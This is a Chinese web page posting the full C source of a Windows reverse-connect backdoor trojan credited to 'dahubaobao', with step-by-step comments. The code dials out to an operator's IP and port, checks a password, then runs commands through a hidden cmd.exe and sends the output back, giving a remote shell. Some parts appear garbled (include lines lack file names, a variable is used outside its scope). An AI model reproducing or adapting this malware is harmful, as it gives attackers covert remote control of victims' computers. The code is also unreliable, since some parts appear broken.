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| 关键词： nbsp MsgError sizeof 缓冲 sock NULL GetLastError TCHAR RecvBuf DEBUGMSG |
第三个反弹木马代码：作者dahubaobao 代码 #include #include #include #include #include #pragma comment (lib,"ws2_32.lib") #define PASSSUCCESS "Password success!\n"#define PASSERROR "Password error.\n"#define BYEBYE "ByeBye!\n" #define WSAerron WSAGetLastError()#define erron GetLastError() VOID WINAPI EXEBackMain (LPVOID s); //BOOL EXEBackMain (SOCKET sock); int main (int argc, TCHAR *argv[]){ SOCKET sock=NULL; struct sockaddr_in sai; TCHAR UserPass[20]={0}; //用户设置密码缓冲 TCHAR PassBuf[20]={0}; //接收密码缓冲 TCHAR PassBanner[]="\nPassword:"; TCHAR Banner[]="---------dahubaobao backdoor---------\n"; if (argc!=4) { fprintf(stderr,"Code by dahubaobao\n" "Usage:%s [DestIP] [Port] [Password]\n",argv[0]); return 0; } sai.sin_family=AF_INET; //判断参数合法性，并填充地址结构 //IP地址不能大于15 if (strlen(argv[1])<=15) sai.sin_addr.s_addr=inet_addr(argv[1]); else { #ifdef DEBUGMSG printf("Internet address no larger than \"15\"\n"); #endif goto Clean; } //端口不能小于0 && 大于65535 if (atoi(argv[2])>0&&atoi(argv[2])<65535) sai.sin_port=htons(atoi(argv[2])); else { #ifdef DEBUGMSG printf("Port no less than \"0\" and larger than \"65535\""); #endif goto Clean; } //密码最大16位 if (strlen(argv[3])<=16) strcpy(UserPass,argv[3]); //复制密码 else { #ifdef DEBUGMSG printf("Please connect password error\n"); #endif goto Clean; } while (TRUE) { WSADATA wsadata; BOOL ThreadFlag=FALSE; DWORD ThreadID=0; int nRet=0; nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化 if (nRet) { #ifdef DEBUGMSG printf("WSAStartup() error: %d\n",nRet); #endif return 0; } sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==INVALID_SOCKET) { #ifdef DEBUGMSG printf("socket() GetLastError reports %d\n",WSAerron); #endif goto Clean; } nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr)); if (nRet!=SOCKET_ERROR) { nRet=send(sock,Banner,sizeof (Banner),0); if (nRet==SOCKET_ERROR) { #ifdef DEBUGMSG sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } while (TRUE) { nRet=send(sock,PassBanner,sizeof (PassBanner),0); if (nRet==SOCKET_ERROR) { #ifdef DEBUGMSG sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0); if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0) { #ifdef DEBUGMSG send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0); #endif ThreadFlag=TRUE; break; } else { #ifdef DEBUGMSG send(sock,PASSERROR,sizeof (PASSERROR),0); #endif continue; } if (nRet==SOCKET_ERROR) { #ifdef DEBUGMSG sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } Sleep(100); } if (ThreadFlag) { //EXEBackMain(sock); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain, (LPVOID)sock,0,&ThreadID); } } Sleep(1000); } Clean: if (sock!=NULL) closesocket(sock); WSACleanup(); return 0;} VOID WINAPI EXEBackMain (LPVOID s)//BOOL EXEBackMain (SOCKET sock){ SOCKET sock=(SOCKET)s; STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hRead=NULL,hWrite=NULL; TCHAR CmdSign[]="\ndahubaobao:\\>"; while (TRUE) { TCHAR MsgError[50]={0}; //错误消息缓冲 TCHAR Cmdline[300]={0}; //命令行缓冲 TCHAR RecvBuf[1024]={0}; //接收缓冲 TCHAR SendBuf[2048]={0}; //发送缓冲 SECURITY_ATTRIBUTES sa; DWORD bytesRead=0; int ret=0; sa.nLength=sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor=NULL; sa.bInheritHandle=TRUE; //创建匿名管道 if (!CreatePipe(&hRead,&hWrite,&sa,0)) { #ifdef DEBUGMSG sprintf(MsgError,"CreatePipe() GetLastError reports %d\n",erron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } si.cb=sizeof(STARTUPINFO); GetStartupInfo(&si); si.hStdError=hWrite; si.hStdOutput=hWrite; //进程（cmd）的输出写入管道 si.wShowWindow=SW_HIDE; si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录 strcat(Cmdline,"\\cmd.exe /c "); //拼接cmd ret=send(sock,CmdSign,sizeof (CmdSign),0); //向目标发送提示符 if (ret==SOCKET_ERROR) { #ifdef DEBUGMSG sprintf(MsgError,"send() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } ret=recv(sock,RecvBuf,sizeof (RecvBuf),0); //接收目标数据 //如果为exit或quit，就退出 if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0) { #ifdef DEBUGMSG send(sock,BYEBYE,sizeof (BYEBYE),0); #endif goto Clean; } //表示对方已经断开 if (ret==SOCKET_ERROR) { #ifdef DEBUGMSG sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif goto Clean; } //表示接收数据出错 if (ret<=0) { #ifdef DEBUGMSG sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron); send(sock,MsgError,sizeof (MsgError),0); #endif continue; } Sleep(100); //休息一下，可要可不要 strncat(Cmdline,RecvBuf,sizeof (RecvBuf)); //拼接一条完整的cmd命令 //创建进程，也就是执行cmd命令 if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { #ifdef DEBUGMSG sprintf(MsgError,"CreateProcess() GetLastError reports %d\n",erron); send(sock,MsgError,sizeof (MsgError),0); #endif continue; } CloseHandle(hWrite); while (TRUE) { //无限循环读取管道中的数据，直到管道中没有数据为止 if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0) break; send(sock,SendBuf,bytesRead,0); //发送出去 memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零 Sleep(100); //休息一下 } } Clean: //释放句柄 if (hRead!=NULL) CloseHandle(hRead); if (hWrite!=NULL) CloseHandle(hWrite); //释放SOCKET if (sock!=NULL) closesocket(sock); WSACleanup(); ExitThread(0); //return 0; } |
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